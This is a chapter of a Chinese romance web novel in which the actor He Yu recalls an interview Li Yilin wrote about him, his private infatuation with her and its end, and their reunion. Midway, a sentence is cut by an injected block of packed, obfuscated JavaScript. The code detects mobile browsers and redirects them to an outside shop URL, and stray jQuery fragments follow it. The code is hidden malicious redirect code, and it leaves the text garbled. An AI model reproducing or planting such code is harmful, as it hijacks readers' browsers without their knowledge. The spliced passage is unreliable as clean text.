10
送走伊林，何屿独自开车回家。与她重逢的两天，他的情绪陷入一种奇怪的饱和，表面看起来没有大起大落，实际上从期待，到见面，再到相拥，他的情感浓度不断上升。本来想对伊林保持距离，冷漠待她，真正见到之后，却又只想着用她最意想不到的亲密接触“报复”她。与她相拥而眠，清晨看着因紧张和疲累酣睡的她，涌现心底的心疼与爱又让他对她产生深深依恋。他觉得，以前发生的所有都不重要。只要她回来，只要她在他怀中，过去的就让它了无痕迹的过去。
他本以为，聪明如伊林，会心知肚明他的选择。但她却又执拗的想与他把一切谈开。这让他内心升起一股无名火。只有他知道，这种火气的源头，并非现在这个离开又归来的李伊林。
*
到家之后，时钟指向中午一点。今天不想做饭，他叫了附近私厨送一人餐。吃完饭，他独自坐在靠近阳台的沙发里发呆。手机屏幕亮起，他拿起来看，是起飞之前，伊林发给他的告别微信。
与伊林恢复联系，就像生命中一条温暖的河流被重新填满。只是，因为他曾将她删除，之前所有微信聊天记录，全部无法找回。现在，空白一片的界面中，伊林开启了一段新的对话，宛若新生。
何屿回复了她，又去卧室躺进大床。他侧躺过来，打开微博，去看伊林的内容。她转发了工作室发布的后台合照，只配了一个象征爱意的红心表情。
从时间来看，是她在候机时发的。不到两小时，转发已经超5万。他点开评论区看了看，被赞上第一位的评论是项英琦发的。只有短短四个字：“都不叫我！”何屿无奈笑，搞不明白这条微博英琦又是怎么刷到的。
有跻身一线的女明星带头评论转发，这一次评论区氛围很好。有人惊讶于他们并未分手，有人科普李伊林是何来历有何经历，有人凑热闹@朋友来看，有人给伊林写下长长的祝福与爱……
这一次舆论的变化，与伊林这一年的工作所形成的影响密不可分。她用真诚深刻的内容，挖掘出很多女性不为人知的坚韧与美好。她有了一群忠诚敏锐的关注者，大部分是逻辑清晰、善于共情的女性观众。这些受众中，也有一部分是他的粉丝，他们在这条微博下排队刷起同一条评论：“我喜欢的人和我喜欢的人依然在一起，这世界还有救！”
这些或调侃或真诚的留言，都让何屿感到释然的暖意。相比那场掺杂着虚假的官宣事件，现在的她，凭借自己的力量，洗刷掉曾经加诸全身的恶意污名。何屿明白，那场由她独自决定，完全不考虑他感受的决然出走，是正确的。
*
又看了些新进来的评论，何屿回到伊林的账号主页，点开她的头像看。她的头像一直没变过，还是多年前那个留着短发，秀丽又帅气的她。何屿放大这张图，抚摸屏幕里熟悉无比的，美丽、锐利、年轻的脸——那张曾给他希望与爱，又让他陷入怀疑与自抑的脸。
*
在何屿的书架上，一直保存有8年前的两期《明周刊》十月刊。是在采访过后两周，两期《明周刊》被寄给工作室，方华带给了他。何屿装作若无其事的将它放在书桌上，继续与经纪人对工作。
方华走后，他坐在书桌前，独自一人拆掉包装，打开杂志。
对他的专访被放在「人物」栏目，用了整整7个版面。开篇是一个对开版，印着一张他看向镜中自我的黑白特写。这张图片《明周刊》编辑部曾发给他确认过，原版图片中保留了他面部的所有阴影线条，斑点、纹路、皮肤的细小缺陷，全都没有去除。工作室询问过他是否需要精修，他回答不用。就用原版。同时他向工作室反馈，这篇采访不用他审稿，按照采访者的原稿刊发。
压在黑色底色上的稿件标题用了白色字体，“演员何屿：在镜中，与自我对戏”。整篇采访，用了第一人称。从他的大学时光开始讲起，他的第一堂表演课，第一次试镜，第一场试映会，第一次收到观众来信，第一次自我怀疑，第一次全场肯定，第一次搞砸，第一次挫折，第一次梦见角色，第一次跟随心流，第一次抹去自我，第一次让渡躯壳，第一次精疲力竭，第一次如入无人之境……
在南方以南的三个小时内，他对她所表达出的所有虚假与从容，真实与隐晦，都被她用一种温暖的理解编织成河。她用一种流畅、优美、漫不经心又十分真实的语言，让他的人生河流在文字中生动地流动起来。
全稿之中，没有采访者的出现。就像他在与另一个自己对话。
稿件结尾，李伊林用了他掩饰失眠的一段谎言。
“我喜欢在日出前醒来，在街上随意走走。早间城市人很少，如花草一般安静。早起晨练基本是上了年纪的人，他们表情闲适，更关心自己的身体状况。那个出现在所有屏幕里的‘男明星’只需要戴上鸭舌帽，就不用担心被人认出来。
在「演员何屿」构筑的故事之外，真实的我，只是一个戴着鸭舌帽，闲来无事，在公园里看人晨练的普通人。我的生活，是一场被所有人观赏的戏剧，镜头像一面面镜子，折射「镜中何屿」的不同幻象。这份职业，让我徘徊在不同的城市、时空、躯壳之中，就像一条随时改道的河流，永远不知道明天在哪里。
我不停流动的生活里，唯有日出是永恒不变的。这是确定的，日复一日的，光辉突破黑暗的壮丽时刻。我要做的，是用眼睛和记忆铭记这永恒，再透过「何屿」这面镜子，将它折射进每一个人都看得到的地方。
这是我看向名为「演员何屿」的镜中虚像时，最明亮的闪耀瞬间。”
*
看完全稿，何屿将杂志合上，看向书桌前的午后阳光。
他有一种确信。隐藏在这场自述背后的，是李伊林对他的绝对理解。
他们是同类。
*
在伊林对他的采访过后，何屿更加习惯去看她发来的微博私信。她会毫无保留的告诉他在真正与他见面时，她的心跳是多么剧烈，听到他一个一个回答她的问题时，她又是如何强行压抑海啸般的爱意。她热烈的倾诉对他的理解与共鸣，一句一句细数他在采访中让她记忆深刻的句子。这种不加掩饰的、近乎勇猛的真挚，让何屿感到羞赧。他认为，自己并没有李伊林描述的那么好。
何屿清楚的知道，这场专访，这篇稿件，与这封长长的、分成好几个段落发送的“情书”，共同构成他爱上她的起点。在此之前，他对她更多是一种同类的好奇，只想远观，而不想接近。在此之后，他就像一个陷入恋爱情绪的人，只要闲下来，就切换到自己的微博大号去看李伊林今天又更新了什么，私信是不是已经发给他，他会读她分享过的书，听她分享过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17008229|169676||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的歌，看她分享过的电影，甚至于……开始幻想与她相识，真正相爱，共同度过生命里的漫长时光。
*
这一切的终结，是李伊林的一条转发微博。
微博原帖是一张照片，里面是她在黄昏小路的背影。一张很简单的照片，意境不错。李伊林的转发语是：“难得啊，拍挺好。”评论区有几条评论，何屿点开去看，其中一条是原发帖人评论，“一周年快乐。”
他点进发贴人微博，性别为男。点开相册，对方发布有几张分享唱片墙的图片，跟李伊林曾在微博中分享的家中图片，一模一样。
一种被背叛的黑雾从心中升起。但他又想找到是自己误判的证据。他继续翻看这个陌生人的相册，直到又看见一张照片，是在情人节，他发了与李伊林的合照。
明明是一张甜蜜照片，却有一种嫌恶快速占领了他。
何屿退出对方微博，关掉APP，将手机扔到一边，回到他应该做的工作中去。
*
在此之后，何屿不再看李伊林发来的私信。虽然也不想再看她发布的微博，但他抵不过一段时期的戒断反应。他控制着自己的好奇心，一周只去看她一次。李伊林呢，照常漫不经心的转发着一些男明星资讯，分享最近看过的书，电影，听过的音乐。时不时对一些正在发生的事发表评论。
虽然对于他的资讯，她条条都转，但何屿不再像以前那样心有波澜。因为他明白，李伊林是一个可以一边在网络空间对他私信真情表白，一边在现实中无缝谈男友的人。尽管他亦想让自己理解，毕竟她不是疯子，不会幻想与真实的男明星谈恋爱。他也知道，她写给他的告白私信，是默认不会被看到的。但这些所谓的“理解”，并不能抵消他对她的失望与怨怼。
这种患得患失的自我矛盾，催生了何屿的自嘲。他与李伊林就像角色翻转，他更像通过网络了解偶像现状的追星粉丝，伊林则更像那个“私下嫂子不断的哥哥”。这种自嘲也时常让何屿无奈，因为他清楚的知道，伊林对他的所谓“爱”，是与她对男友的爱完全不同的。她爱的是那个屏幕上的他，是在采访中极力描绘「演员何屿」大众形象的他。她爱的不是那个身为普通人的何屿。而在现实生活中，她爱的，是那个身为普通人的男朋友。
这场没有任何人道破的、只发生在他心底的“恋爱”，无疾而终。自嘲之后，他也渐渐放掉了内心中的李伊林。一周看她一次，变成一个月看她一次，再变成几个月看她一次。对于所谓的“爱”，他觉得自己也渐渐变得淡漠了。
在他的专访过后，《明周刊》中也没了李伊林的影子。
何屿因此明白，她离开了。
*
侧躺在床上的何屿切换到自己的微博大号，转发了工作室发布的后台合影微博。他仿照伊林，只配一个代表爱的红心表情。
这个账号，他已有500多天没有登陆。只要点开李伊林的私信头像，就能重新看到共同错过的8年之间，她对他的所有倾诉。
*
何屿退出账号，关掉微博，把手机扔到一边。
一种情绪上的疲累包裹了他。现在是下午近三点，他还有时间小睡片刻，为晚上的演出积蓄能量。
他找到遥控器关闭窗帘，蜷进床铺，在人为制造的黑暗中进入睡眠。